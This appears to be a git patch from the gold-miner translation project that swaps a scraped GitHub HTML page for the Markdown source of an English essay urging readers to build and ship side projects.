+<h3><a id="user-content-5-ask-for-help" class="anchor" href="#5-ask-for-help" aria-hidden="true"><svg aria-hidden="true" class="octicon octicon-link" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>5. Ask for help</h3>
+<p>When working on a project, reach out to people and ask for their help. <strong>You will be surprised at how many people are willing to pay it forward and help a complete stranger.</strong></p>
+<p>Some of the best advice and feedback I have received came from reaching out to people with an email or a DM on Twitter.</p>
+<p>Also, when asking for help, be specific and prepare your questions. If you want feedback on a design, send the mockup. If you want feedback on your marketing strategy, detail what you have tried so far. Context is key. And if you don’t get a response, follow up politely. Sometimes the person you’re reaching out to might have genuinely missed your message.</p>
+<hr>
+<p>Build and launch your side projects. Use this process as a way to hone your craft so that when opportunity presents itself, you’re ready to take full advantage of it. Luck always favors the prepared.</p>
+<p>So next time you come up with an idea, act on it. Identify a problem, define your goal, stay on track, and ask for help.</p>
+<p>What are you working on right now? How can I help you? Leave me a note here or <a href="https://twitter.com/jonathanzwhite">tweet</a> them to me on Twitter.</p>
+<p>You can find me on Medium where I publish every week. Or you can follow me on <a href="https://twitter.com/JonathanZWhite">Twitter</a>, where I post non-sensical ramblings about design, front-end development, and virtual reality.</p>
+<p><em>P.S. If you enjoyed this article, it would mean a lot if you click the <g-emoji alias="green_heart" fallback-src="https://assets-cdn.github.com/images/icons/emoji/unicode/1f49a.png" ios-version="6.0">💚</g-emoji> and share with friends.</em></p>
+<hr>
+<blockquote>
+<p><a href="https://github.com/xitu/gold-miner">掘金翻译计划</a> 是一个翻译优质互联网技术文章的社区，文章来源为 <a href="https://juejin.im">掘金</a> 上的英文分享文章。内容覆盖 <a href="https://github.com/xitu/gold-miner#android">Android</a>、<a href="https://github.com/xitu/gold-miner#ios">iOS</a>、<a href="https://github.com/xitu/gold-miner#react">React</a>、<a href="https://github.com/xitu/gold-miner#%E5%89%8D%E7%AB%AF">前端</a>、<a href="https://github.com/xitu/gold-miner#%E5%90%8E%E7%AB%AF">后端</a>、<a href="https://github.com/xitu/gold-miner#%E4%BA%A7%E5%93%81">产品</a>、<a href="https://github.com/xitu/gold-miner#%E8%AE%BE%E8%AE%A1">设计</a> 等领域，想要查看更多优质译文请持续关注 <a href="https://github.com/xitu/gold-miner">掘金翻译计划</a>。</p>
+</blockquote>
+</article>
+  </div>
+
+</div>
+
+<button type="button" data-facebox="#jump-to-line" data-facebox-class="linejump" data-hotkey="l" class="d-none">Jump to Line</button>
+<div id="jump-to-line" style="display:none">
+  <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="" class="js-jump-to-line-form" method="get"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /></div>
+    <input class="form-control linejump-input js-jump-to-line-field" type="text" placeholder="Jump to line&hellip;" aria-label="Jump to line" autofocus>
+    <button type="submit" class="btn">Go</button>
+</form></div>
+
+
+  </div>
+  <div class="modal-backdrop js-touch-events"></div>
+</div>
+
+    </div>
+  </div>
+
+  </div>
+
+      <div class="container site-footer-container">
+  <div class="site-footer" role="contentinfo">
+    <ul class="site-footer-links float-right">
+        <li><a href="https://github.com/contact" data-ga-click="Footer, go to contact, text:contact">Contact GitHub</a></li>
+      <li><a href="https://developer.github.com" data-ga-click="Footer, go to api, text:api">API</a></li>
+      <li><a href="https://training.github.com" data-ga-click="Footer, go to training, text:training">Training</a></li>
+      <li><a href="https://shop.github.com" data-ga-click="Footer, go to shop, text:shop">Shop</a></li>
+        <li><a href="https://github.com/blog" data-ga-click="Footer, go to blog, text:blog">Blog</a></li>
+        <li><a href="https://github.com/about" data-ga-click="Footer, go to about, text:about">About</a></li>
+
+    </ul>
+
+    <a href="https://github.com" aria-label="Homepage" class="site-footer-mark" title="GitHub">
+      <svg aria-hidden="true" class="octicon octicon-mark-github" height="24" version="1.1" viewBox="0 0 16 16" width="24"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg>
+</a>
+    <ul class="site-footer-links">
+      <li>&copy; 2017 <span title="0.08952s from github-fe137-cp1-prd.iad.github.net">GitHub</span>, Inc.</li>
+        <li><a href="https://github.com/site/terms" data-ga-click="Footer, go to terms, text:terms">Terms</a></li>
+        <li><a href="https://github.com/site/privacy" data-ga-click="Footer, go to privacy, text:privacy">Privacy</a></li>
+        <li><a href="https://github.com/security" data-ga-click="Footer, go to security, text:security">Security</a></li>
+        <li><a href="https://status.github.com/" data-ga-click="Footer, go to status, text:status">Status</a></li>
+        <li><a href="https://help.github.com" data-ga-click="Footer, go to help, text:help">Help</a></li>
+    </ul>
+  </div>
+</div>
+
+
+
+  
+
+  <div id="ajax-error-message" class="ajax-error-message flash flash-error">
+    <svg aria-hidden="true" class="octicon octicon-alert" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M8.865 1.52c-.18-.31-.51-.5-.87-.5s-.69.19-.87.5L.275 13.5c-.18.31-.18.69 0 1 .19.31.52.5.87.5h13.7c.36 0 .69-.19.86-.5.17-.31.18-.69.01-1L8.865 1.52zM8.995 13h-2v-2h2v2zm0-3h-2V6h2v4z"/></svg>
+    <button type="button" class="flash-close js-flash-close js-ajax-error-dismiss" aria-label="Dismiss error">
+      <svg aria-hidden="true" class="octicon octicon-x" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48z"/></svg>
+    </button>
+    You can't perform that action at this time.
+  </div>
+
+
+    <script crossorigin="anonymous" integrity="sha256-ikMY/+oJoM24IUt2zykmufagztMYoxe+1BnbGSFMaQ0=" src="https://assets-cdn.github.com/assets/compat-8a4318ffea09a0cdb8214b76cf2926b9f6a0ced318a317bed419db19214c690d.js"></script>
+    <script crossorigin="anonymous" integrity="sha256-bRCeda2EcbpBUIJybADDX7kpzquXUIJJKDXxHsqMB9k=" src="https://assets-cdn.github.com/assets/frameworks-6d109e75ad8471ba415082726c00c35fb929ceab975082492835f11eca8c07d9.js"></script>
+    <script async="async" crossorigin="anonymous" integrity="sha256-wC5XS/AFJkeL8nkWRggFsWsLsKi9cy0rFOeeMdWkUig=" src="https://assets-cdn.github.com/assets/github-c02e574bf00526478bf27916460805b16b0bb0a8bd732d2b14e79e31d5a45228.js"></script>
+    
+    
+    
+    
+  <div class="js-stale-session-flash stale-session-flash flash flash-warn flash-banner d-none">
+    <svg aria-hidden="true" class="octicon octicon-alert" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M8.865 1.52c-.18-.31-.51-.5-.87-.5s-.69.19-.87.5L.275 13.5c-.18.31-.18.69 0 1 .19.31.52.5.87.5h13.7c.36 0 .69-.19.86-.5.17-.31.18-.69.01-1L8.865 1.52zM8.995 13h-2v-2h2v2zm0-3h-2V6h2v4z"/></svg>
+    <span class="signed-in-tab-flash">You signed in with another tab or window. <a href="">Reload</a> to refresh your session.</span>
+    <span class="signed-out-tab-flash">You signed out in another tab or window. <a href="">Reload</a> to refresh your session.</span>
+  </div>
+  <div class="facebox" id="facebox" style="display:none;">
+  <div class="facebox-popup">
+    <div class="facebox-content" role="dialog" aria-labelledby="facebox-header" aria-describedby="facebox-description">
+    </div>
+    <button type="button" class="facebox-close js-facebox-close" aria-label="Close modal">
+      <svg aria-hidden="true" class="octicon octicon-x" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48z"/></svg>
+    </button>
+  </div>
+</div>
+
+
+  </body>
+</html>
 
-> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From c61a1606f3499108f7170f24c3937f5428968021 Mon Sep 17 00:00:00 2001
From: Wenlin Ou <wou6@gatech.edu>
Date: Fri, 7 Apr 2017 22:07:53 -0400
Subject: [PATCH 074/638] ...

---
 ...ng-will-change-until-you-start-building.md | 780 ++----------------
 1 file changed, 47 insertions(+), 733 deletions(-)

diff --git a/TODO/nothing-will-change-until-you-start-building.md b/TODO/nothing-will-change-until-you-start-building.md
index df8d0872aa7..0d57984107d 100644
--- a/TODO/nothing-will-change-until-you-start-building.md
+++ b/TODO/nothing-will-change-until-you-start-building.md
@@ -1,776 +1,90 @@
+> * 原文地址：[Nothing will change until you start building.](https://medium.freecodecamp.com/nothing-will-change-until-you-start-building-2681e85e7bdc)
+> * 原文作者：[Jonathan Z. White](https://medium.freecodecamp.com/@JonathanZWhite?source=post_header_lockup)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
 
+---
 
+![](https://cdn-images-1.medium.com/max/1000/1*EwHpnCZ70FtJMi-lNSl-9Q.png)
 
+# Nothing will change until you start building.
 
+This past week, I was in a Lyft. My driver was telling me about all of her ideas for side projects. She had ideas for a children’s book, an app that helps people find parking, and a more efficient way to package gifts. The problem was she was frozen by indecision. She had the ideas but she didn’t know where to start.
 
+This is what I told her. **Start by building. Pick one project and do whatever you have to do to ship it.** If you want to write a book, start with writing a page a day. If you want to build an app, start with some sketches. Anyone can do it.
 
-<!DOCTYPE html>
-<html lang="en">
-  <head>
-    <meta charset="utf-8">
+This advice applies to all creators. Once you start building and launching your projects, you won’t be able to stop. Building will become part of your identity. And even if your project fails, you’ll keep at it.
 
+The steps you take today will compound over time. Look at great product makers like [Drew Wilson](https://twitter.com/drewwilson), [Pieter Levels](https://twitter.com/levelsio?), and [Sebastian Dobrincu](https://twitter.com/Sebyddd). **They don’t wait for the right opportunity.** They build and ship weekly.
 
+In an interview on [IndieHackers](https://www.indiehackers.com/podcast/006-josh-pigford-of-baremetrics), [Josh Pigford](https://twitter.com/Shpigford) disclosed that before he built Baremetrics, he had iterated through a *hundred* failed ideas. Today, Baremetrics makes over 60,000 in monthly recurring revenue.
 
-  <link crossorigin="anonymous" href="https://assets-cdn.github.com/assets/frameworks-612da304eac9a72f5d085232387f7f5cd82df6c73120fd97fcf0bdefacbd9b16.css" integrity="sha256-YS2jBOrJpy9dCFIyOH9/XNgt9scxIP2X/PC976y9mxY=" media="all" rel="stylesheet" />
-  <link crossorigin="anonymous" href="https://assets-cdn.github.com/assets/github-9e591dcc1f30d2a6ac3773da2f8c05987a4a148bae15713c4be9bb62b6e92b26.css" integrity="sha256-nlkdzB8w0qasN3PaL4wFmHpKFIuuFXE8S+m7YrbpKyY=" media="all" rel="stylesheet" />
-  
-  
-  
-  
 
-  <meta name="viewport" content="width=device-width">
-  
-  <title>gold-miner/nothing-will-change-until-you-start-building.md at master · xitu/gold-miner</title>
-  <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub">
-  <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub">
-  <meta property="fb:app_id" content="1401488693436528">
+![](https://cdn-images-1.medium.com/max/800/1*BzmVaqAKEzNRybUmMYOxdA.png)
 
-    
-    <meta content="https://avatars3.githubusercontent.com/u/10482599?v=3&amp;s=400" property="og:image" /><meta content="GitHub" property="og:site_name" /><meta content="object" property="og:type" /><meta content="xitu/gold-miner" property="og:title" /><meta content="https://github.com/xitu/gold-miner" property="og:url" /><meta content="gold-miner - 掘金翻译计划，翻译掘金上优质的英文文章" property="og:description" />
+With that in mind, here are some tactics I’ve compiled from friends and acquaintances who are successful product makers.
 
-  <link rel="assets" href="https://assets-cdn.github.com/">
-  <link rel="web-socket" href="wss://live.github.com/_sockets/VjI6MTUzNjk5MDc1OjI3Mjc3OGNhZDRiYTM2MTkwNmZlY2JkMjU0Yzk0ZTM3NTA2ODQ5YmY2YjVhZjQ5MGQ2Zjk2MDFhYmY3MWNhOWE=--8cce105fcf437c91c1329db1592a5bdce21162cd">
-  <meta name="pjax-timeout" content="1000">
-  <link rel="sudo-modal" href="/sessions/sudo_modal">
-  <meta name="request-id" content="CCFA:4F39:286AF75:3D45B97:58E83EAD" data-pjax-transient>
-  
+---
 
-  <meta name="selected-link" value="repo_source" data-pjax-transient>
+### 1. Define your goal
 
-  <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU">
-<meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA">
-    <meta name="google-analytics" content="UA-3769691-2">
+Early on, figure out the main goal of your project. If you want to break out of your usual design style, focus on the design. If you want to test a new framework for your front-end, focus on the code. If you want to acquire a hundred users, focus on selling.
 
-<meta content="collector.githubapp.com" name="octolytics-host" /><meta content="github" name="octolytics-app-id" /><meta content="https://collector.githubapp.com/github-external/browser_event" name="octolytics-event-url" /><meta content="CCFA:4F39:286AF75:3D45B97:58E83EAD" name="octolytics-dimension-request_id" /><meta content="4431857" name="octolytics-actor-id" /><meta content="owenlyn" name="octolytics-actor-login" /><meta content="fdd747e7d985040678fec5301f468cbc859690c07058cfaf6f1ffec23669be27" name="octolytics-actor-hash" />
-<meta content="/&lt;user-name&gt;/&lt;repo-name&gt;/blob/show" data-pjax-transient="true" name="analytics-location" />
+**Define your goal early so you don’t get distracted and end up not achieving what you set out to do.** Perhaps your project doesn’t become the next Snapchat, but by working towards your goal you will have honed the tools in your product-making arsenal. Little by little, you’ll be able to design, code, and sell faster and more efficiently.
 
+### 2. Stay on track
 
+Sometimes product makers fail to ship because they lose motivation. **Set small goals; meeting those goals will help you build momentum.** Small wins will compound.
 
+![](https://cdn-images-1.medium.com/max/800/1*ESildSVTSSOnFXGDxD-l9w.png)
 
-  <meta class="js-ga-set" name="dimension1" content="Logged In">
+Another thing you can do to stay on track is to be more public about your work. Share your progress online and with your peers. People love to see things like wireframes and will often times provide valuable input.
 
+One trick that I find particularly motivating is making bets with friends. I tell them, if I don’t complete a task by a deadline, I’ll give them a hundred dollars. For example, I might set my task to getting twenty people to pay me within two weeks of launching a project.
 
-  
+### 3. Solve a problem
 
-      <meta name="hostname" content="github.com">
-  <meta name="user-login" content="owenlyn">
+Start by solving a problem. If you have experienced the problem yourself, even better. Ask your friends what kind of problems they experience.
 
-      <meta name="expected-hostname" content="github.com">
-    <meta name="js-proxy-site-detection-payload" content="YjgxZWVkM2U1YWY3ZGY3YjQ5YmMxMmE2MjgwNDJjMmNmM2NmMmEwNDQwZWM3YWYzZWY3N2Q3ZTA4NjkwMzJhM3x7InJlbW90ZV9hZGRyZXNzIjoiNzMuMjM3LjE4LjIyIiwicmVxdWVzdF9pZCI6IkNDRkE6NEYzOToyODZBRjc1OjNENDVCOTc6NThFODNFQUQiLCJ0aW1lc3RhbXAiOjE0OTE2MTU0MTQsImhvc3QiOiJnaXRodWIuY29tIn0=">
+For example, I built [YC Careers](http://jonathanzwhite.github.io/yc-careers/) and [AtomSpace](https://atomspace.co/) to address the needs of one my friends who was having trouble applying to jobs and interviewing as a product designer. Overnight, YC Careers made it to the top of [ProductHunt](https://www.producthunt.com/posts/yc-careers) and AtomSpace booked $100 dollars from strangers within 6 hours of going live.
 
+**The bigger the pain point you’re trying to solve, the easier it will be to find users.**
 
-  <meta name="html-safe-nonce" content="b54810b74418b8727d0adbc8644992d5cf0ffe23">
+Also, analyze problem-solutions from multiple perspectives. Some successful ideas might seem like a solution without a problem. For example, Instagram doesn’t seem to solve any immediate problem. But it does. Instagram solves the need for friends to stay updated on one another. If this need is not met, then it becomes a problem.
 
-  <meta http-equiv="x-pjax-version" content="2fcc845e19df9d36134e232e5e95caa9">
-  
+For further reading, [John Carmack on Idea Generation](https://amasad.me/carmack) and [How to Get Startup Ideas](http://paulgraham.com/startupideas.html) are two great essays to get you started.
 
-    
-  <meta name="description" content="gold-miner - 掘金翻译计划，翻译掘金上优质的英文文章">
-  <meta name="go-import" content="github.com/xitu/gold-miner git https://github.com/xitu/gold-miner.git">
+### 4. Ditch the “good idea / bad idea” mindset
 
-  <meta content="10482599" name="octolytics-dimension-user_id" /><meta content="xitu" name="octolytics-dimension-user_login" /><meta content="45512989" name="octolytics-dimension-repository_id" /><meta content="xitu/gold-miner" name="octolytics-dimension-repository_nwo" /><meta content="true" name="octolytics-dimension-repository_public" /><meta content="false" name="octolytics-dimension-repository_is_fork" /><meta content="45512989" name="octolytics-dimension-repository_network_root_id" /><meta content="xitu/gold-miner" name="octolytics-dimension-repository_network_root_nwo" />
-        <link href="https://github.com/xitu/gold-miner/commits/master.atom" rel="alternate" title="Recent Commits to gold-miner:master" type="application/atom+xml">
+Once you’ve identified a problem and come up with a solution, you’ll probably ask yourself if your idea is good.
 
+**Plenty of seemingly bad ideas have turned out to be great businesses.** For example, no one wanted to invest in Airbnb. Brian Chesky, one of the co-founders of Airbnb, detailed their rejections in his essay [7 Rejections](https://medium.com/@bchesky/7-rejections-7d894cbaa084#.l8fdqlasz).
 
-    <link rel="canonical" href="https://github.com/xitu/gold-miner/blob/master/TODO/nothing-will-change-until-you-start-building.md" data-pjax-transient>
+![](https://cdn-images-1.medium.com/max/800/1*WpxUxMCO-7NXr-o1yo023g.png)
 
+The only way to know for sure if your idea will work is to formulate a product hypothesis and run an experiment to test it. Talk to people and ask if they are interested in your solution. If you can get them to pay you before you’ve built anything, even better.
 
-  <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
+### 5. Ask for help
 
-  <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
+When working on a project, reach out to people and ask for their help. **You will be surprised at how many people are willing to pay it forward and help a complete stranger.**
 
-  <link rel="mask-icon" href="https://assets-cdn.github.com/pinned-octocat.svg" color="#000000">
-  <link rel="icon" type="image/x-icon" href="https://assets-cdn.github.com/favicon.ico">
+Some of the best advice and feedback I have received came from reaching out to people with an email or a DM on Twitter.
 
-<meta name="theme-color" content="#1e2327">
+Also, when asking for help, be specific and prepare your questions. If you want feedback on a design, send the mockup. If you want feedback on your marketing strategy, detail what you have tried so far. Context is key. And if you don’t get a response, follow up politely. Sometimes the person you’re reaching out to might have genuinely missed your message.
 
+---
 
-  <meta name="u2f-support" content="true">
+Build and launch your side projects. Use this process as a way to hone your craft so that when opportunity presents itself, you’re ready to take full advantage of it. Luck always favors the prepared.
 
-  </head>
+So next time you come up with an idea, act on it. Identify a problem, define your goal, stay on track, and ask for help.
 
-  <body class="logged-in env-production emoji-size-boost page-blob">
-    
+What are you working on right now? How can I help you? Leave me a note here or [tweet](https://twitter.com/jonathanzwhite) them to me on Twitter.
 
+You can find me on Medium where I publish every week. Or you can follow me on [Twitter](https://twitter.com/JonathanZWhite), where I post non-sensical ramblings about design, front-end development, and virtual reality.
 
-  <div class="position-relative js-header-wrapper ">
-    <a href="#start-of-content" tabindex="1" class="accessibility-aid js-skip-to-content">Skip to content</a>
-    <div id="js-pjax-loader-bar" class="pjax-loader-bar"><div class="progress"></div></div>
+*P.S. If you enjoyed this article, it would mean a lot if you click the 💚 and share with friends.*
 
-    
-    
-    
-
-
-
-        
-<div class="header" role="banner">
-  <div class="container clearfix">
-    <a class="header-logo-invertocat" href="https://github.com/" data-hotkey="g d" aria-label="Homepage" data-ga-click="Header, go to dashboard, icon:logo">
-  <svg aria-hidden="true" class="octicon octicon-mark-github" height="32" version="1.1" viewBox="0 0 16 16" width="32"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg>
-</a>
-
-
-        <div class="header-search scoped-search site-scoped-search js-site-search" role="search">
-  <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/xitu/gold-miner/search" class="js-site-search-form" data-scoped-search-url="/xitu/gold-miner/search" data-unscoped-search-url="/search" method="get"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /></div>
-    <label class="form-control header-search-wrapper js-chromeless-input-container">
-        <a href="/xitu/gold-miner/blob/master/TODO/nothing-will-change-until-you-start-building.md" class="header-search-scope no-underline">This repository</a>
-      <input type="text"
-        class="form-control header-search-input js-site-search-focus js-site-search-field is-clearable"
-        data-hotkey="s"
-        name="q"
-        value=""
-        placeholder="Search"
-        aria-label="Search this repository"
-        data-unscoped-placeholder="Search GitHub"
-        data-scoped-placeholder="Search"
-        autocapitalize="off">
-        <input type="hidden" class="js-site-search-type-field" name="type" >
-    </label>
-</form></div>
-
-
-      <ul class="header-nav float-left" role="navigation">
-        <li class="header-nav-item">
-          <a href="/pulls" aria-label="Pull requests you created" class="js-selected-navigation-item header-nav-link" data-ga-click="Header, click, Nav menu - item:pulls context:user" data-hotkey="g p" data-selected-links="/pulls /pulls/assigned /pulls/mentioned /pulls">
-            Pull requests
-</a>        </li>
-        <li class="header-nav-item">
-          <a href="/issues" aria-label="Issues you created" class="js-selected-navigation-item header-nav-link" data-ga-click="Header, click, Nav menu - item:issues context:user" data-hotkey="g i" data-selected-links="/issues /issues/assigned /issues/mentioned /issues">
-            Issues
-</a>        </li>
-          <li class="header-nav-item">
-            <a class="header-nav-link" href="https://gist.github.com/" data-ga-click="Header, go to gist, text:gist">Gist</a>
-          </li>
-      </ul>
-
-    
-<ul class="header-nav user-nav float-right" id="user-links">
-  <li class="header-nav-item">
-    
-    <a href="/notifications" aria-label="You have unread notifications" class="header-nav-link notification-indicator tooltipped tooltipped-s js-socket-channel js-notification-indicator " data-channel="notification-changed:4431857" data-ga-click="Header, go to notifications, icon:unread" data-hotkey="g n">
-        <span class="mail-status unread"></span>
-        <svg aria-hidden="true" class="octicon octicon-bell float-left" height="16" version="1.1" viewBox="0 0 14 16" width="14"><path fill-rule="evenodd" d="M14 12v1H0v-1l.73-.58c.77-.77.81-2.55 1.19-4.42C2.69 3.23 6 2 6 2c0-.55.45-1 1-1s1 .45 1 1c0 0 3.39 1.23 4.16 5 .38 1.88.42 3.66 1.19 4.42l.66.58H14zm-7 4c1.11 0 2-.89 2-2H5c0 1.11.89 2 2 2z"/></svg>
-</a>
-  </li>
-
-  <li class="header-nav-item dropdown js-menu-container">
-    <a class="header-nav-link tooltipped tooltipped-s js-menu-target" href="/new"
-       aria-label="Create new…"
-       data-ga-click="Header, create new, icon:add">
-      <svg aria-hidden="true" class="octicon octicon-plus float-left" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M12 9H7v5H5V9H0V7h5V2h2v5h5z"/></svg>
-      <span class="dropdown-caret"></span>
-    </a>
-
-    <div class="dropdown-menu-content js-menu-content">
-      <ul class="dropdown-menu dropdown-menu-sw">
-        
-<a class="dropdown-item" href="/new" data-ga-click="Header, create new repository">
-  New repository
-</a>
-
-  <a class="dropdown-item" href="/new/import" data-ga-click="Header, import a repository">
-    Import repository
-  </a>
-
-<a class="dropdown-item" href="https://gist.github.com/" data-ga-click="Header, create new gist">
-  New gist
-</a>
-
-  <a class="dropdown-item" href="/organizations/new" data-ga-click="Header, create new organization">
-    New organization
-  </a>
-
-
-
-  <div class="dropdown-divider"></div>
-  <div class="dropdown-header">
-    <span title="xitu/gold-miner">This repository</span>
-  </div>
-    <a class="dropdown-item" href="/xitu/gold-miner/issues/new" data-ga-click="Header, create new issue">
-      New issue
-    </a>
-
-      </ul>
-    </div>
-  </li>
-
-  <li class="header-nav-item dropdown js-menu-container">
-    <a class="header-nav-link name tooltipped tooltipped-sw js-menu-target" href="/owenlyn"
-       aria-label="View profile and more"
-       data-ga-click="Header, show menu, icon:avatar">
-      <img alt="@owenlyn" class="avatar" src="https://avatars0.githubusercontent.com/u/4431857?v=3&amp;s=40" height="20" width="20">
-      <span class="dropdown-caret"></span>
-    </a>
-
-    <div class="dropdown-menu-content js-menu-content">
-      <div class="dropdown-menu dropdown-menu-sw">
-        <div class="dropdown-header header-nav-current-user css-truncate">
-          Signed in as <strong class="css-truncate-target">owenlyn</strong>
-        </div>
-
-        <div class="dropdown-divider"></div>
-
-        <a class="dropdown-item" href="/owenlyn" data-ga-click="Header, go to profile, text:your profile">
-          Your profile
-        </a>
-        <a class="dropdown-item" href="/owenlyn?tab=stars" data-ga-click="Header, go to starred repos, text:your stars">
-          Your stars
-        </a>
-        <a class="dropdown-item" href="/explore" data-ga-click="Header, go to explore, text:explore">
-          Explore
-        </a>
-          <a class="dropdown-item" href="/integrations" data-ga-click="Header, go to integrations, text:integrations">
-            Integrations
-          </a>
-        <a class="dropdown-item" href="https://help.github.com" data-ga-click="Header, go to help, text:help">
-          Help
-        </a>
-
-        <div class="dropdown-divider"></div>
-
-        <a class="dropdown-item" href="/settings/profile" data-ga-click="Header, go to settings, icon:settings">
-          Settings
-        </a>
-
-        <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/logout" class="logout-form" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="X+1AaR22qJUEXj13OtH+HcIm5lYs4DO1c+XIR5Q0sZ5b+eoTsqFakz+rxSqHCbVPRGww6u3Vtn4XFkJyexMubQ==" /></div>
-          <button type="submit" class="dropdown-item dropdown-signout" data-ga-click="Header, sign out, icon:logout">
-            Sign out
-          </button>
-</form>      </div>
-    </div>
-  </li>
-</ul>
-
-
-    <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/logout" class="sr-only right-0" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="LT7mlm12Fe8ifCDG6Hru2x/blbjBkwSFJBayVVVA8aUpKkzswmHn6RmJ2JtVoqWJmZFDBACmgU5A5ThgumduVg==" /></div>
-      <button type="submit" class="dropdown-item dropdown-signout" data-ga-click="Header, sign out, icon:logout">
-        Sign out
-      </button>
-</form>  </div>
-</div>
-
-
-      
-
-  </div>
-
-  <div id="start-of-content" class="accessibility-aid"></div>
-
-    <div id="js-flash-container">
-</div>
-
-
-
-  <div role="main">
-        <div itemscope itemtype="http://schema.org/SoftwareSourceCode">
-    <div id="js-repo-pjax-container" data-pjax-container>
-        
-
-
-
-  <div class="pagehead repohead instapaper_ignore readability-menu experiment-repo-nav">
-    <div class="container repohead-details-container">
-
-
-      <ul class="pagehead-actions">
-  <li>
-        <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/notifications/subscribe" class="js-social-container" data-autosubmit="true" data-remote="true" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="VjLdEpHk3G/Ti15uQQ7E9h7+Tf1kFfKsCdjlWX3NG5s01Fj8NYTpiOinj3O6Qw95gcjqofQGne1G6zRbpJVYbw==" /></div>      <input class="form-control" id="repository_id" name="repository_id" type="hidden" value="45512989" />
-
-        <div class="select-menu js-menu-container js-select-menu">
-          <a href="/xitu/gold-miner/subscription"
-            class="btn btn-sm btn-with-count select-menu-button js-menu-target" role="button" tabindex="0" aria-haspopup="true"
